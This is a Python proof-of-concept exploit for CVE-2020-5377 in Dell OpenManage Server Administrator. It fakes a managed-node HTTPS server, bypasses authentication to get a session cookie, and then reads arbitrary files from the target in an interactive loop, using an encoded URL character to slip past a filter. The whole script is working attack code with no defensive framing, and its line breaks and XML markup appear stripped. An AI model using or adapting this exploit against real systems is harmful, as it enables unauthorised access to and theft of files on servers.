# Proof of Concept for CVE-2020-5377 - Arbitrary File Read in Dell OpenManage Administrator # Written by: h3x0v3rl0rd import http.server import ssl import sys import re import os import requests import _thread from xml.sax.saxutils import escape import urllib3 urllib3.disable_warnings() # Usage instruction if len(sys.argv) < 3: print('Usage: python3 CVE-2020-5377.py :') exit() # Handler for HTTP requests mimicking a Dell OMSA remote system class MyHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): data = '' content_len = int(self.headers.get('content-length', 0)) post_body = self.rfile.read(content_len) self.send_response(200) self.send_header("Content-type", "application/soap+xml;charset=UTF-8") self.end_headers() # Check for specific commands and prepare responses if b"__00omacmd=getuserrightsonly" in post_body: data = escape("0458759") elif b"__00omacmd=getaboutinfo" in post_body: data = escape("6.0.3") if data: requid = re.findall(b'>uuid:(.*?)<', post_body)[0].decode('utf-8') response = f''' http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous uuid:{requid} 0d70cce2-05b9-45bb-b219-4fb81efba639 0 {data} ''' self.wfile.write(response.encode('utf-8')) else: default_response = ''' http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd Dell Inc. 1.0 ''' self.wfile.write(default_response.encode('utf-8')) def log_message(self, format, *args): return # Check for existing server.pem certificate and generate if not found created_cert = False if not os.path.isfile('./server.pem'): print('[-] No server.pem certificate file found. Generating one...') os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"') created_cert = True # Function to start the server def start_server(): server_class = http.server.HTTPServer httpd = server_class(('0.0.0.0', 443), MyHandler) context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile='./server.pem') httpd.socket = context.wrap_socket(httpd.socket, server_side=True) httpd.serve_forever() _thread.start_new_thread(start_server, ()) my_ip = sys.argv[1] target = sys.argv[2] # Function to bypass authentication def bypass_auth(): values = {} url = "https://{}/LoginServlet?flag=true&managedws=false".format(target) data = { "manuallogin": "true", "targetmachine": my_ip, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1" } r = requests.post(url, data=data, verify=False, allow_redirects=False) cookie_header = r.headers['Set-Cookie'] session_id = re.findall('JSESSIONID=(.*?);', cookie_header)[0] path_id = re.findall('Path=/(.*?);', cookie_header)[0] values['sessionid'] = session_id values['pathid'] = path_id return values ids = bypass_auth() session_id = ids['sessionid'] path_id = ids['pathid'] print("Session: " + session_id) print("VID: " + path_id) # Function to read file from target def read_file(target, sess_id, path_id): while True: file = input('file > ') url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file) s = requests.Session() cookies = {"JSESSIONID": sess_id} req = requests.Request(method='GET', url=url, cookies=cookies) prep = req.prepare() prep.url = "https://{}/{}/DownloadServle%74?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file) r = s.send(prep, verify=False) print('Reading contents of {}:\n{}'.format(file, r.content.decode('utf-8'))) # Function to format the file path for Windows def get_path(path): if path.lower().startswith('c:\\'): path = path[2:] return path.replace('\\','/') # Start reading files read_file(target, session_id, path_id)